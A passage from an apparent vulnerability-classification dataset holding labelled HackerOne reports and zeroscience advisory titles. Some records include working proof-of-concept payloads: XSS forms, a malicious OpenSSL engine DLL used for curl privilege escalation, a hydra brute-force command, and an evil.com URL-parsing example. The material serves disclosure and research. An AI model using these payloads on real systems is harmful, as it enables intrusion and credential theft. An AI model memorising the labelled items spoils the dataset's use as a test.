Vulnerability\n\nSeverity: low", "source": "zeroscience", "timestamp": "2014-10-09", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "a41ab27080a67c0d7b67", "text": "Anviz AIM CrossChex Standard 4.3 Excel Macro Injection\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2018-11-01", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "edab85d6e89d2292283c", "text": "Schneider Electric Pelco VideoXpert Core Admin Portal Directory Traversal\n\nSeverity: high", "source": "zeroscience", "timestamp": "2017-07-10", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "781b2d220205c28611a2", "text": "[Unknown] Wholesome Hacky Holidays: A Writeup\n\n## Flag 1 Warm-up: flag{48104912-28b0-494a-9995-a203d1e261e7}\nChecking the `robots.txt` the flag can be found. Also a path is revealed: `/s3cr3t-ar3a`\n\n## Flag 2 It's right in front of you: flag{b7ebcb75-9100-4f91-8454-cfb9574459f7}\nWith the previously found path `/s3cr3t-ar3a`, the flag was hidden in plain sight. Opening the dev tools and searching for `flag` reveals it.\n\n## Flag 3 People Rater: flag{b705fb11-fb55-442f-847f-0931be82ed9a}\nOn the front page a new button `Apps` appeared. One app, the `People Rater` is aviailable. At URL `https://hackyholidays.h1ctf.com/people-rater` we can use the Grinch People Rater by clicking one of the names. For example selecting `Tea Avery` pops an alertbox with `Awful`. Looking at the request in Burp:\n\nRequest:\n```\nGET /people-rater/entry?id=eyJpZCI6Mn0= HTTP/1.1\nHost: hackyholidays.h1ctf.com\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nX-Requested-With: XMLHttpRequest\nConnection: close\nReferer: https://hackyholidays.h1ctf.com/people-rater\n``` \n\nResponse: \n```\nHTTP/1.1 200 OK\nServer: nginx/1.18.0 (Ubuntu)\nDate: Tue, 15 Dec 2020 03:47:29 GMT\nContent-Type: application/json\nConnection: close\nContent-Length: 57\n\n{\"id\":\"eyJpZCI6Mn0=\",\"name\":\"Tea Avery\",\"rating\":\"Awful\"}\n```\n\nIn the request, we see the parameter `id=eyJpZCI6Mn0=` which is an encoded base64 string. Decoding it reveals `{\"id\":2}`. Simply replacing the value with the base64 encoded variant of `{\"id\":2}`, which is `eyJpZCI6MX0=` leads to the following response:\n```\nHTTP/1.1 200 OK\nServer: nginx/1.18.0 (Ubuntu)\nDate: Tue, 15 Dec 2020 03:51:22 GMT\nContent-Type: application/json\nConnection: close\nContent-Length: 135\n\n{\"id\":\"eyJpZCI6MX0=\",\"name\":\"The Grinch\",\"rating\":\"Amazing in every possible way!\",\"flag\":\"flag{b705fb11-fb55-442f-847f-0931be82ed9a}\"}\n```\n## Flag 4 Swag Shop: flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}\nThe objective of this challenge is to pull the Grinch's details from the online shop. We are presented with an online shop that has an API. We can fuzz the API and find the following two hidden endpoints:\n```\n/swag-shop/api/sessions\n/swag-shop/api/user\n```\nThe first endpoint reveals 7 different base64-encoded session tokens. One of the tokens is longer than the others. Decoding it reveals:\n```\n{\"user\":\"C7DCCE-0E0DAB-B20226-FC92EA-1B9043\",\"cookie\":\"NDU0ODI5MmY3ZDY2MjRiMWE0MmY3NGQxMWE0ODMxMzg2MGE1YWRhMTc0YjhkYWE3MzU1MjZjNDg5MDQ2Y2JhYjY3YTFhY2Q3YjBmYTk4N2Q5ZWQ5MWQ5OWFkNWE2MjIyZmZjMzZjMDQ3ODk5ZmI4ZjZjOWU0OGJhMjIwNmVkMTY=\"}\n```\nHere, we have a Universal Unique Identifier (UUID) and a cookie. \nTaken a look at the `/swag-shop/api/user` endpoint results in:\n```\nerror\t\"Missing required fields\"\n```\nSo here, we are searching for a parameter. By manual testing with the information that we already collected we can identify uuid as a parameter. Requesting `/swag-shop/api/user?uuid=1` responds with: \n```\nerror\t\"Could not find matching uuid\"\n```\nSimply appending the UUID to the URI we found previously and accessing \n`https://hackyholidays.h1ctf.com/swag-shop/api/user?uuid=C7DCCE-0E0DAB-B20226-FC92EA-1B9043` we can pull the Grinch's details and a flag.\n```\t\nuuid\t\"C7DCCE-0E0DAB-B20226-FC92EA-1B9043\"\nusername\t\"grinch\"\naddress\t\nline_1\t\"The Grinch\"\nline_2\t\"The Cave\"\nline_3\t\"Mount Crumpit\"\nline_4\t\"Whoville\"\nflag\t\"flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}\"\n```\n\n## Flag 5 Secure Login: flag{2e6f9bf8-fdbd-483b-8c18-bdf371b2b004}\nThe objective of this challenge is to find a way past the login page to get to the secret area. The challenge starts with a login page. Testing a random combination for the username and password field, an `Invalid Username` appears. This is an indicator, that we might be able to brute-force the username and password individually based on the error code. We first try to brute-force the username with: \n```\nhydra -L ~/SecLists/Usernames/Names/names.txt -p pass hackyholidays.h1ctf.com https-post-form \"/secure-logi", "source": "hackerone", "timestamp": "2021-01-12", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "e61d38ceaa7fe1bef6b7", "text": "Horos 2.1.0 Web Portal DOM Based XSS\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2016-12-16", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "b05bdf2f468d4f24738a", "text": "[Memory Corruption - Generic] CVE-2016-7163 OpenJPEG opj_pi_create_decode Integer Overflow Vulnerability\n\n# OpenJPEG opj_pi_create_decode Integer Overflow Vulnerability\n\n## 1. About OpenJPEG\nOpenJPEG is an open-source JPEG 2000 codec written in C language. It's widely used in lots of Linux OSes such as Ubuntu, RedHat, Debian, Fedora, and so on. The official repository of the OpenJPEG project is available at [GitHub](https://github.com/uclouvain/openjpeg).\n\n## 2. Credit\nThis vulnerability was discovered by Ke Liu of Tencent's Xuanwu LAB.\n\n## 3. Testing Environments\n+ **OS**: Ubuntu\n+ **OpenJPEG**: [4a2a869](https://github.com/uclouvain/openjpeg/archive/4a2a8693e5a02207a8813b02a375abdc4e43c49b.zip) (Master version before Aug/6/2016)\n+ **Compiler**: Clang\n+ **CFLAGS**: ``-g -O0 -fsanitize=address``\n\n## 4. Reproduce Steps\nPlease copy file ``poc.jp2`` to directory ``openjpeg/bin`` before executing ``opj_decompress``.\n```\nwget https://github.com/uclouvain/openjpeg/archive/4a2a8693e5a02207a8813b02a375abdc4e43c49b.zip\nunzip -q 4a2a8693e5a02207a8813b02a375abdc4e43c49b.zip\nmv openjpeg-4a2a8693e5a02207a8813b02a375abdc4e43c49b openjpeg\ncd openjpeg\nexport CC='/usr/bin/clang -g -O0 -fsanitize=address'\ncmake .\nmake\n\ncd bin\n./opj_decompress -o image.pgm -i poc.jp2\n```\n\n## 5. Vulnerability Details\nAn integer overflow issue exists in function opj_pi_create_decode of pi.c. It can lead to Out-Of-Bounds Read and Out-Of-Bounds Write in function opj_pi_next_cprl of pi.c (function opj_pi_next_lrcp, opj_pi_next_rlcp, opj_pi_next_rpcl, opj_pi_next_pcrl may also be vulnerable). \n\n+ OOB read and OOB write exist in function opj_pi_next_cprl, function opj_pi_next_lrcp, opj_pi_next_rlcp, \nopj_pi_next_rpcl, opj_pi_next_pcrl may also be vulnerable.\n\n```\nstatic OPJ_BOOL opj_pi_next_cprl(opj_pi_iterator_t * pi) {\n // ...\n for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) {\n index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno * pi->step_c + pi->precno * pi->step_p;\n if (!pi->include[index]) { // ----> Out-Of-Bounds Read!!!\n pi->include[index] = 1; // ----> Out-Of-Bounds Write!!!\n return OPJ_TRUE;\n }\n // ...\n return OPJ_FALSE;\n}\n```\n\n+ Integer overflow exists in function opj_pi_create_decode.\n\n```\nopj_pi_iterator_t *opj_pi_create_decode(opj_image_t *p_image,\n opj_cp_t *p_cp,\n OPJ_UINT32 p_tile_no)\n{\n // ...\n l_step_p = 1;\n l_step_c = l_max_prec * l_step_p;\n l_step_r = p_image->numcomps * l_step_c;\n l_step_l = l_max_res * l_step_r;\n\n /* set values for first packet iterator */\n l_current_pi = l_pi;\n\n /* memory allocation for include */\n l_current_pi->include = (OPJ_INT16*) opj_calloc(\n (l_tcp->numlayers +1) * l_step_l, sizeof(OPJ_INT16)); // ----> Integer Overflow!!!\n // ...\n}\n```\n\n+ AddressSanitizer output the following exception information.\n\n```\n==10074==ERROR: AddressSanitizer: heap-buffer-overflow on address \n 0xad9370a0 at pc 0xb767ba50 bp 0xbff1ad78 sp 0xbff1ad70\nREAD of size 2 at 0xad9370a0 thread T0\n #0 0xb767ba4f in opj_pi_next_cprl src/lib/openjp2/pi.c:541:12\n #1 0xb76644e7 in opj_pi_next src/lib/openjp2/pi.c:1872:11\n #2 0xb76cd0af in opj_t2_decode_packets src/lib/openjp2/t2.c:412:24\n #3 0xb771ee6e in opj_tcd_t2_decode src/lib/openjp2/tcd.c:1547:15\n #4 0xb771de16 in opj_tcd_decode_tile src/lib/openjp2/tcd.c:1286:15\n #5 0xb74d7a0e in opj_j2k_decode_tile src/lib/openjp2/j2k.c:8134:15\n #6 0xb7563354 in opj_j2k_decode_tiles src/lib/openjp2/j2k.c:9761:23\n #7 0xb74bce4c in opj_j2k_exec src/lib/openjp2/j2k.c:7350:43\n #8 0xb74f378b in opj_j2k_decode src/lib/openjp2/j2k.c:9959:15\n #9 0xb75b80de in opj_jp2_decode src/lib/openjp2/jp2.c:1492:8\n #10 0xb7622eb8 in opj_decode src/lib/openjp2/openjpeg.c:412:10\n #11 0x8140304 in main src/bin/jp2/opj_decompress.c:1332:10\n #12 0xb71b9af2 in __libc_start_main /build/eglibc-X4bnBz/eglibc-2.19/csu/libc-start.c:287\n #13 0x80781eb in _start (bin/opj_decompress", "source": "hackerone", "timestamp": "2019-11-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d23a925bc059d8c1e309", "text": "TCExam <=11.2.011 Multiple Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-07-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "3efc3f029f8155913cec", "text": "[Agora] 48 hour message.\n\nthe message is fake it gets you to download a new tor browser that has a virus notice its from agora.. it has ..Agora..:Agora Announcement 2014-04-14On April 7th 2014 details of a serious bug in the OpenSSL library were made public. This bug which affected a large number of web servers and devices was popularly referred to as 'Heartbleed'. The bug allows anybody connecting to a vulnerable service to reveal the contents of memory on the server - and thus reveal secret keys user information ip addresses passwords etc.There is more information about the bug and the versions of OpenSSL that are affected at the website setup for the bug:http://heartbleed.com/Agora is a hidden service served on the Tor network and while we are not using the vulnerable library that is affected the Tor software (Browser) that you use to access our site is affected by this bug since it integrates the OpenSSL library. The Tor project wrote a blog post about how this bug affects various aspects of the Tor service:https://blog.torproject.org/blog/openssl-bug-cve-2014-0160For users of the Tor Browser Bundle you should immediately upgrade to the latest release version immediately as the bundled version of Tor is vulnerable to the attack.Get the latest Tor Browser Bundle version fromhttp://sourceforge.net/projects/tor-browser/files/latest/We are doing our very best to protect our security as well as yours but you also must put in efforts to protect yourself.-Agora", "source": "gayanku", "timestamp": "2014-04-15", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ec3ca99be25160131010", "text": "[Cross-site Scripting (XSS) - Generic] XSS on https://fax.pbx.itsendless.org/ (CVE-2017-18024)\n\n## Summary:\n\nHello Endless Hosting,\n\nI found an XSS on https://fax.pbx.itsendless.org/ . This domain running an AvantFax software 3.3.6\nHowever, the exploit of CVE-2017-18024 for version 3.3.3 is working on that version.\n\nHere is the exploit code of CVE-2017-18024\n\n`<html>\n <body>\n <script>history.pushState('', '', '/')</script>\n <form action=\"https://fax.pbx.itsendless.org/\" method=\"POST\">\n <input type=\"hidden\" name=\"username\" value=\"admin\" />\n <input type=\"hidden\" name=\"password\" value=\"admin\" />\n <input type=\"hidden\" name=\"_submit_check\" value=\"1\" />\n <input type=\"hidden\" name=\"jlbqg<script>alert(1)</script>b7g0x\" value=\"1\" />\n <input type=\"submit\" value=\"Submit request\" />\n </form>\n </body>\n </html>`\n\nThis code sending a POST request to the server and using a made-up hidden name to exploit the software with an XSS vulnerability.\n\n## Steps To Reproduce:\n\n 1. Please open the avantfax.html and that's all.\n\n## Supporting Material/References:\nCVE-2017-18024 Detail \nhttps://nvd.nist.gov/vuln/detail/CVE-2017-18024#vulnCurrentDescriptionTitle\n\n## Impact\n\n{F957416}\n\nAn attacker might be able to inject arbitrary html and script code into the web site. This would alter the appearance and would make it possible to initiate further attacks against site visitors.", "source": "hackerone", "timestamp": "2020-09-07", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "203afd534b595627b544", "text": "NUUO CSRF Add Admin Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2016-08-06", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "bf0f024a52552434c0db", "text": "[Cryptographic Issues - Generic] SSLv2 doesn't block disabled ciphers (CVE-2015-3197)\n\nThis is a DROWN-related issue that essentially circumvented the instructions on how to disable SSLv2 at the time. Its primary effect was that a lot of servers were vulnerable to DROWN even though they thought they had SSLv2 disabled.\nIt was reported to OpenSSL and fixed in versions 1.0.2f and 1.0.1r:\nhttps://www.openssl.org/news/secadv/20160128.txt\n\n(and obviously the DROWN attack itself was reported to OpenSSL, as explained in this OpenSSL blogpost:\nhttps://www.openssl.org/blog/blog/2016/03/01/an-openssl-users-guide-to-drown/\n\nThanks!", "source": "hackerone", "timestamp": "2016-09-21", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "0fb51edcc35f7d45da8d", "text": "F-Secure BlackLight 2.2.1092 Local Privilege Escalation Vulnerability\n\nSeverity: low", "source": "zeroscience", "timestamp": "2011-08-14", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "edce026c78c078dfcbe0", "text": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Unauthenticated Device Reboot (DoS)\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2021-03-18", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "04d315fc3bf3dd1dc29f", "text": "[Buffer Over-read] ap_find_token() Buffer Overread\n\nVersions Affected:\nhttpd 2.2.32\nhttpd 2.4.24 (unreleased)\nhttpd 2.4.25\n\nDescription:\nThe HTTP strict parsing changes added in 2.2.32 and 2.4.24 introduced a\nbug in token list parsing, which allows ap_find_token() to search past\nthe end of its input string. By maliciously crafting a sequence of\nrequest headers, an attacker may be able to cause a segmentation fault,\nor to force ap_find_token() to return an incorrect value.\n\nMitigation:\n2.2.32 users should either apply the patch available at\nhttps://www.apache.org/dist/httpd/patches/apply_to_2.2.32/CVE-2017-7668.patch\nor upgrade in the future to 2.2.33, which is currently unreleased.\n\n2.4.25 users should upgrade to 2.4.26.\n\nYou can contact me on javijmor@gmail.com or javier@sensepost.com\n\nI would like to donate the bug bounty's money (if any) to charity and preferably do it in behalf of my company, SensePost..", "source": "hackerone", "timestamp": "2017-08-10", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "362d8a6418aed5ec4c7d", "text": "Lunar CMS 3.3 Unauthenticated Remote Command Execution Exploit\n\nSeverity: high", "source": "zeroscience", "timestamp": "2014-06-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "aa2c340386a2b03e4612", "text": "[Code Injection] CVE-2019-5443: Windows Privilege Escalation: Malicious OpenSSL Engine\n\n## Summary:\nThe curl windows binaries are built with OpenSSL libraries and have an insecure path for the OPENSSLDIR build parameter. This path is set to c:\\usr\\local\\ssl. When curl is executed it attempts to load openssl.cnf from this path. By default on windows, low privileged users have the authority to create folders under c:\\. A low privileged user can create a custom openssl.cnf file to load a malicious OpenSSL Engine(library). The result is arbitrary code execution with the full authority of the account executing the curl binary.\n\n\nVersion tested.\ncurl-7.65.1_1-win64\n\nOS:\nWindows 10 \n\n## Steps To Reproduce:\nAll steps are executed as a low privileged(non-admin) user unless otherwise noted\n\n 1. As a low privileged user create the following folder c:\\usr\\local\\ssl\n```\nmkdir c:\\usr\nmkdir c:\\usr\\local\nmkdir c:\\usr\\local\\ssl\n```\n\n 2. Create an openssl.cnf file with the following contents.\n\n```\nopenssl_conf = openssl_init\n[openssl_init]\nengines = engine_section\n[engine_section]\nwoot = woot_section\n[woot_section]\nengine_id = woot\ndynamic_path = c:\\\\stage\\\\calc.dll\ninit = 0\n```\n\n 3. Create the c:\\stage folder\n```\nmkdir c:\\stage\n````\n\n 4. Create and compile a malicious OpenSSL Engine library. For this PoC we will execute the Windows calculator.\n````\n/* Cross Compile with\n x86_64-w64-mingw32-g++ calc.c -o calc.dll -shared\n*/\n#include <windows.h>\nBOOL WINAPI DllMain(\n HINSTANCE hinstDLL,\n DWORD fdwReason,\n LPVOID lpReserved )\n{\n switch( fdwReason )\n {\n case DLL_PROCESS_ATTACH:\n system(\"calc\");\n break;\n case DLL_THREAD_ATTACH:\n // Do thread-specific initialization.\n break;\n case DLL_THREAD_DETACH:\n // Do thread-specific cleanup.\n break;\n case DLL_PROCESS_DETACH:\n // Perform any necessary cleanup.\n break;\n }\n return TRUE; // Successful DLL_PROCESS_ATTACH.\n}\n```\n\n 5. Copy calc.dll to c:\\stage\n`\ncopy calc.dll c:\\stage\n`\n 6. Execute curl.exe as a different user.\n\n## Supporting Material/References:\n * PoC image showing curl loading a custom calc.dll and executing calc.exe\n{F507228}\n\n## Impact\n\nA malicious local user(or potentially malware) with access to a Windows workstation or server with curl installed has the ability to silently plant a custom OpenSSL Engine library that contains arbitrary code. Every time curl is executed this library will be loaded and the code executed with the full authority of the account executing it resulting in the elevation of privileges.", "source": "hackerone", "timestamp": "2019-06-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "260d4a778d37d5494b0d", "text": "SOYAL 701Client 9.0.1 Insecure Permissions\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2021-03-18", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "6a5a6bfe6f14d801b580", "text": "Sakai 10.7 Multiple Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2016-08-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "ba2924abb86bc46a41a3", "text": "phpList 2.10.17 Remote SQL Injection and XSS Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2012-03-21", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "b4efe41aba9941d1ef39", "text": "[Server-Side Request Forgery (SSRF)] cURL / libcURL - CVE-2016-8624 invalid URL parsing with '#'\n\ninvalid URL parsing with '#'\n============================\n\nProject cURL Security Advisory, November 2, 2016 -\n[Permalink] https://curl.haxx.se/docs/adv_20161102J.html\n\nVULNERABILITY\n-------------\n\ncurl doesn't parse the authority component of the URL correctly when the host\nname part ends with a '#' character, and could instead be tricked into\nconnecting to a different host. This may have security implications if you for\nexample use a URL parser that follows the RFC to check for allowed domains\nbefore using curl to request them.\n\nPassing in `http://example.com#@evil.com/x.txt` would wrongly make curl send a\nrequest to evil.com while your browser would connect to example.com given the\nsame URL.\n\nThe problem exists for most protocol schemes.\n\nWe are not aware of any exploit of this flaw.\n\nINFO\n----\n\nThe Common Vulnerabilities and Exposures (CVE) project has assigned the name\nCVE-2016-8624 to this issue.\n\nAFFECTED VERSIONS\n-----------------\n\nThis flaw exists in the following curl versions.\n\n- Affected versions: curl 7.1 to and including 7.50.3\n- Not affected versions: curl >= 7.51.0\n\nlibcurl is used by many applications, but not always advertised as such!\n\nTHE SOLUTION\n------------\n\nIn version 7.51.0, the parser function is fixed.\n\nA [patch for CVE-2016-8624](https://curl.haxx.se/CVE-2016-8624.patch) is\navailable.\n\nRECOMMENDATIONS\n---------------\n\nWe suggest you take one of the following actions immediately, in order of\npreference:\n\n A - Upgrade curl and libcurl to version 7.51.0\n\n B - Apply the patch to your version and rebuild\n\n C - Strip out the parts of the URLs containing '#' before passing them to curl\n\nTIME LINE\n---------\n\nIt was first reported to the curl project on October 10 by Fernando Muñoz.\n\nWe contacted distros@openwall on October 19.\n\ncurl 7.51.0 was released on November 2 2016, coordinated with the publication\nof this advisory.\n\nCREDITS\n-------\n\nThanks to Fernando Muñoz!", "source": "hackerone", "timestamp": "2018-01-11", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "cd5ff3f095fd929ab4ee", "text": "[Cross-site Scripting (XSS) - Reflected] XSS due to CVE-2020-3580 [███.mil]\n\nMultiple vulnerabilities in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct cross-site scripting (XSS) attacks against a user of the web services interface of an affected device. \n\n Steps To Reproduce \n\n Go to this URL \n\n ██████████████.mil.html \n\n HTML POC:\n \n <html>\n <body>\n <script>history.pushState('', '', '/')</script>\n <form action='https://'███.mil'/+CSCOE+/saml/sp/acs?tgname=a' method='POST'>\n <input type='hidden' name='SAMLResponse' value='"><svg/onload=alert(document.cookies)>'/>\n </form>\n <script>\n document.forms[0].submit();\n</script>\n</body>\n</html>\n\n## Impact\n\n- An attacker could exploit these vulnerabilities by persuading a user of the interface to click a crafted link.\n - A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information. \n\n Note: These vulnerabilities affect only specific AnyConnect and WebVPN configurations.\n\n Supporting Material References\n https://www.exploit-db.com/exploits/47988\n https://twitter.com/sagaryadav8742/status/1275170967527006208", "source": "hackerone", "timestamp": "2021-08-19", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "2f8aafbddb7230e92c6c", "text": "[Information Disclosure] Metadata in hosted files is disclosing Usernames, Printers, paths, admin guides. emails\n\nHi\r\n- vulnerable hosts;\r\nagent.qiwi.com\r\nstatic.qiwi.com\r\nvisa.qiwi.com\r\nw.qiwi.com\r\nwww.qiwi.com\r\n\r\n• the type of vulnerability;\r\nInformation disclosure\r\n\r\n• where exactly;\r\nThere are multiple locations for documents with valuable metadata attached.\r\nThese are both Qiwi documents and documents uploaded by agents/clients of yours.\r\nPlease see filelocations.txt for a list of locations.\r\nPlease see folders, usernames, software, printers, and emails.txt for a list of metadata retrieved from the documents.\r\nSeparately, these documents possibly should be restricted:\r\nhttps://w.qiwi.com/business/agents/files/QIWIPos_Ingenico_AdminGuide.pdf\t\r\nhttps://w.qiwi.com/business/agents/files/QIWIPos_PAX_AdminGuide.pdf\t\r\nhttps://w.qiwi.com/business/agents/files/QIWIPos_Nurit_AdminGuide.pdf\r\nPlease note: the folders file contains two usernames as they are entered, which will give an attacker insight into how usernames are formed.\r\n\r\n• security impact;\r\nThis information will aid an attacker greatly. \r\nThe information can be used by a hacker to; \r\n- attempt to brute force qiwi employee logins with valid usernames already supplied\r\n- send phishing emails to valid email addresses\r\n- target malware to known applications (especially pdf tools)\r\n- attack printers\r\n- attack server shares\r\n- attack potentially cohosted websites\r\n- discover configuration steps and versions of software installed (such as QIWI POS INGENICO 2.10)\r\n\r\nE.g if i know a number of users are using Adobe Distiller 7.0.5 (which is out of date) an attacker could spear-phish users with an exploit pdf targetting this software.\r\n\r\n• steps impact;\r\nWhen a file is uploaded to the website, metadata is preserved. Metadata in a file can include anything from servernames to passwords.\r\nDue to the fact that this information is readily available via a google search (inurl:qiwi.com filetype:.pdf for example) this would be easy for an attacker to discover.\r\n\r\n• recommendations for fixing.\r\nRemove all metadata before a file is uploaded.\r\nAlso restrict access to sensitive files such as https://w.qiwi.com/business/agents/files/QIWIPos_Nurit_AdminGuide.pdf)\r\n\r\nAny more information required, please let me know.\r\n\r\nThanks!\r\nJamie", "source": "hackerone", "timestamp": "2015-01-18", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d7602670c5613cd2f6bf", "text": "SmartFoxServer 2X 2.17.0 God Mode Console WebSocket XSS\n\nSeverity: low", "source": "zeroscience", "timestamp": "2021-02-07", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "9d0051c591518a8dafa9", "text": "xt:Commerce v4.0.15 (products_name_de) Script Insertion Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2012-08-23", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "9963d4c81c86abe3146b", "text": "[Heap Overflow] CVE-2019-5436: Heap Buffer Overflow at lib/tftp.c\n\n## Summary:\nA heap buffer overflow can occur at line 1114 in file `lib/tftp.c` due to the fact of `state->blksize` containing the default size instead of containing the one specified in the `--tftp-blksize` parameter.\n\nThis bug could lead to a **crash** or maybe to **RCE** in the case the attacker also had a memory leak.\n\n\n### Vulnerable line:\n```\nstate->rbytes = (int)recvfrom(state->sockfd,\n (void *)state->rpacket.data,\n state->blksize + 4,\n 0,\n (struct sockaddr *)&fromaddr,\n &fromlen);\n```\n\n\n## Steps To Reproduce:\n\n 1. Download the server script\n 1. Run it and bind to an address: `$ python evil-server.py IP PORT`\n 1. Connect to that server with curl: `$ curl --tftp-blksize N tftp://IP:PORT`\nWhere **N** should be a number lower than 293.\n\n## Impact\n\n* An attacker would also need a memory leak in order to gain full RCE.\n* The victim should explicitly set the `--blksize` argument to a value inferior to 293.\n\nThus, the impact is not very high but it's still quite dangerous to not release a patch.", "source": "hackerone", "timestamp": "2019-05-31", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ca7884b245cd7f97f1a8", "text": "[Cross-site Scripting (XSS) - Generic] [github.algolia.com] DOM Based XSS github-btn.html\n\nDescription\n===\n\n**Vulnerable parameter:** user\n**Vulnerable script:** https://github.algolia.com/github-btn.html\n**Vulnerable code:**\n```js\n var params = function() {\n for (var t, e = [], o = window.location.href.slice(window.location.href.indexOf(\"?\") + 1).split(\"&\"), r = 0; r < o.length; r++) t = o[r].split(\"=\"), e.push(t[0]), e[t[0]] = t[1];\n return e\n }(),\n user = params.user,\n repo = params.repo,\n type = params.type,\n ...\n \"follow\" == type && (mainButton.className += \" github-me\", text.innerHTML = \"Follow @\" + user, button.href = \"https://github.com/\" + user\n```\n\nPoCs\n===\n\n**PoC #1**\nHTML Injection for Chrome, Internet Explorer\n\n```\nhttps://github.algolia.com/github-btn.html?#&user=<h1><marquee>HTML<br>HTML<br>HTML<br>HTML<br>HTML<br>HTML<br>&type=follow\n```\n\n**PoC #2**\nXSS for Internet Explorer (using X-UA-Compatible IE=9)\n\n```\nhttps://blackfan.ru/xss?c=%3Cmeta%20http-equiv=%22X-UA-Compatible%22%20content=%22IE=9%22%3E%3Ciframe%20src=%27https://github.algolia.com/github-btn.html?%23%26user=yrdy%3Cscript%3Ealert(document.domain);alert(document.cookie);//%26type=follow%27%3E%3C/iframe%3E\n```\n\n\nAnother vulns\n===\n\nAlso, this script has potential vulnerabilities using user controlled parameters in the path to the JS script.\nBut for the exploitation it requires additional vulnerability on api.github.com (for example, Open Redirect or user controlled output).\n\n```js\nfunction jsonp(t) {\n var e = document.createElement(\"script\");\n e.src = t + \"?callback=callback\", head.insertBefore(e, head.firstChild)\n}\n...\njsonp(\"follow\" == type ? \"https://api.github.com/users/\" + user : \"https://api.github.com/repos/\" + user + \"/\" + repo);\n```\n\n**PoC**\n\n```\nhttps://github.algolia.com/github-btn.html?#&user=../../another/endpoint&repo=../../another/endpoint&type=fork\n```\n\n**Result**\n```\nhttps://api.github.com/another/endpoint?callback=callback\n```", "source": "hackerone", "timestamp": "2017-03-31", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "9b8ddaa1e52e35755ba9", "text": "[Information Exposure Through an Error Message] Tomcat examples available for public, Disclosure Apache Tomcat version, Critical/High/Medium CVE\n\n**Summary:**\nThere are multiple issues found on ███:\n1. ███████/examples/ - Apache Tomcat examples are available for public. Multiple issues - session and cookies manipulation, internals IP disclosure.\n2. Error page contains information about Apache Tomcat version\n3. Reported Tomcat version is vulnerable. Multiple CVEs - critical, high and medium\n\n**Description:**\n1. Examples are available by link: ███████/examples/\n\n2. Information disclosure about Apache Tomcat version\n\n3. Vulnerable version Apache Tomcat/8.5.33\n\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-1938\nBase Score: 9.8 CRITICALVector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\nhttps://nvd.nist.gov/vuln/detail/CVE-2019-0232\nBase Score: 8.1 HIGH Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n\nhttps://nvd.nist.gov/vuln/detail/CVE-2019-17563\nBase Score: 7.5 HIGH Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H\n\nhttps://nvd.nist.gov/vuln/detail/CVE-2019-10072\nBase Score: 7.5 HIGH Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\nhttps://nvd.nist.gov/vuln/detail/CVE-2019-0199\nBase Score: 7.5 HIGH Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-1967\nBase Score: 7.5 HIGH Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\nhttps://nvd.nist.gov/vuln/detail/CVE-2019-12418\nBase Score: 7.0 HIGH Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\nhttps://nvd.nist.gov/vuln/detail/CVE-2019-0221\nBase Score: 6.1 MEDIUM Vector: 